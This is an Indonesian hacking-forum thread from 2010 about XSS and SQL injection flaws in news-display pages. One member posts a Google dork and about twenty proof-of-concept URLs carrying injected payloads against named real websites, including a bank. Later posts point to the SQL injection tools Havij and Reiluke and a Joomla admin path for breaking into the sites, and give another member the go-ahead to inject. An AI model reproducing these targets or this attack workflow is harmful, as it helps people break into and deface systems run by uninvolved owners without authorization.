Multiple Vulnerability (XSS+SQLi)

Forum untuk membahas semua tentang web hacking mulai dari footprint, scanning, gain access, escalate previlege, exploit,cover track, backdoors sampai mengamankan web

Moderators: Paman, Xshadow, indounderground, NeOS-01

Forum rules
Membahas bugs,penetrasi, eksploitasi dan teknik mengamankan website - websrver. Sertakan POC disini agar member dapat mempelajarinya
Post Reply
User avatar
Darkzzzz
Posts: 2206
Joined: Fri Jul 27, 2007 1:59 pm
Location: UG-HotZone Depok 4, UG-HotZone Klp2 4 & UG-HotZone WaterFall.
Contact:
Contact Darkzzzz

Multiple Vulnerability (XSS+SQLi)

Post by Darkzzzz » Thu Jun 24, 2010 11:40 pm

:maaf: Kalo repost atau udah pernah :maaf:
Ane baru nemu beberapa jam yang lalu :tapa:

intitle:"Highdesert news"
vuln : http://website.xxx/displaynews.php?id=<sql + xss/html>

POC :
http://silverlakesmcf.com/displaynews.p ... c%3C/h1%3E

http://theapplevalleynews.com/displayne ... c%3C/h1%3E

http://thesilverlakesnews.com/displayne ... c%3C/h1%3E

http://thespringvalleynews.com/displayn ... c%3C/h1%3E

http://thespringvalleylakenews.com/disp ... c%3C/h1%3E

http://thevictorvillenews.com/displayne ... c%3C/h1%3E
I'm not A Hacker, But I'm A Image
Top
User avatar
Tool3
Posts: 99
Joined: Sun Feb 22, 2009 6:54 pm
Contact:
Contact Tool3

Re: XSS + MySql Error

Post by Tool3 » Fri Jun 25, 2010 12:29 am

:kaca:

keren wkwkwkwk awas kena bugss.......
Top
User avatar
Darkzzzz
Posts: 2206
Joined: Fri Jul 27, 2007 1:59 pm
Location: UG-HotZone Depok 4, UG-HotZone Klp2 4 & UG-HotZone WaterFall.
Contact:
Contact Darkzzzz

Re: XSS + MySql Error

Post by Darkzzzz » Fri Jun 25, 2010 12:49 am

Nambah ah, mumpung ane belon ngantuxXx

http://www.connexions-bury.com/latest_n ... e%3C/h1%3E

http://www.connexions-stockport.com/lat ... e%3C/h1%3E

http://www.connexions-stockport.org.uk/ ... e%3C/h1%3E

http://www.darwincyclingclub.com/news/d ... e%3C/h1%3E

http://www.experis.com/displaynews.php? ... e%3C/h1%3E

http://www.iccj.or.jp/displaynews.php?i ... e%3C/h1%3E

http://www.innodelta.net/nrwnl/_system/ ... e%3C/h1%3E

http://www.nccbank.com.np/displaynews.p ... e%3C/h1%3E

http://www.show-canada.com/app/template ... e%3C/h1%3E

http://newsftp3.an.tv/s/?sid=5%3E%3Cscr ... e%3C/h1%3E

http://www.mcflyofficial.com/news/index ... e%3C/h1%3E

http://www.comingsoon.net/news/movienew ... e%3C/h1%3E

http://www.asianewsnet.net/news.php?sec ... e%3C/h1%3E

http://www.selenetrawlers.com/news-id.p ... e%3C/h1%3E

Thanks to : Bang Poni atas tutorial Havijnya & Thanks to Wilmar Kidz atas Indosiarnya... :love:
I'm not A Hacker, But I'm A Image
Top
RJ-45
Posts: 78
Joined: Thu Dec 17, 2009 2:29 pm

Re: Multiple Vulnerability (XSS+SQLi)

Post by RJ-45 » Sat Jun 26, 2010 6:42 am

terus lo mau masuk ke adminnya gmana kakak.......!
Top
User avatar
Darkzzzz
Posts: 2206
Joined: Fri Jul 27, 2007 1:59 pm
Location: UG-HotZone Depok 4, UG-HotZone Klp2 4 & UG-HotZone WaterFall.
Contact:
Contact Darkzzzz

Re: Multiple Vulnerability (XSS+SQLi)

Post by Darkzzzz » Sat Jun 26, 2010 10:23 am

Cari aja pake Havij atau nggak pake Reiluke, tutornya khan dah dijelaskan sama bang Poni...
Tapi kalo targetnya joomla sih nggak masalah, tinggal /administrator/ ;)
I'm not A Hacker, But I'm A Image
Top
RJ-45
Posts: 78
Joined: Thu Dec 17, 2009 2:29 pm

Re: Multiple Vulnerability (XSS+SQLi)

Post by RJ-45 » Sat Jun 26, 2010 10:40 pm

lo gitu ijin lakuin SQLI kakak....................!
:devil :devil :devil :devil :licik: :licik: :licik: :licik: :licik: :licik:
Top
User avatar
Darkzzzz
Posts: 2206
Joined: Fri Jul 27, 2007 1:59 pm
Location: UG-HotZone Depok 4, UG-HotZone Klp2 4 & UG-HotZone WaterFall.
Contact:
Contact Darkzzzz

Re: Multiple Vulnerability (XSS+SQLi)

Post by Darkzzzz » Sun Jun 27, 2010 8:08 am

Dipersilahkan...
I'm not A Hacker, But I'm A Image
Top
User avatar
andryh4ever
Posts: 181
Joined: Tue Dec 15, 2009 3:08 pm
Location: Kendawangan, Kab. Ketapang, Kalimantan Barat
Contact:
Contact andryh4ever

Re: Multiple Vulnerability (XSS+SQLi)

Post by andryh4ever » Tue Jun 29, 2010 9:32 am

Wew DJ XSS beraksi lagi.. :kaca:
Let's Join with us on http://www.borneocrew.org/

..::: Hanya Ing!n Menul!$ Apa Yang Ing!n Aku Tul!s :::..

[*] Visit me on http://pl4nkt0n767.blogspot.com [*]
[*] Visit me on http://spyc0dz.blogspot.com [*]
Top
User avatar
anharku
Posts: 248
Joined: Thu Oct 08, 2009 11:42 am

Re: Multiple Vulnerability (XSS+SQLi)

Post by anharku » Tue Jun 29, 2010 9:49 am

wag master XSS nya beraksi :love:
Top
User avatar
Nol Sembilan Tiga
Posts: 141
Joined: Wed Apr 07, 2010 1:19 pm
Location: MaNad0
Contact:
Contact Nol Sembilan Tiga

Re: Multiple Vulnerability (XSS+SQLi)

Post by Nol Sembilan Tiga » Tue Jun 29, 2010 4:53 pm

ijin nimbrung juga.. :devil :love:
-==Hanya Ingin belajar dan belajar==-
Top
Post Reply

Return to “Web Hacking”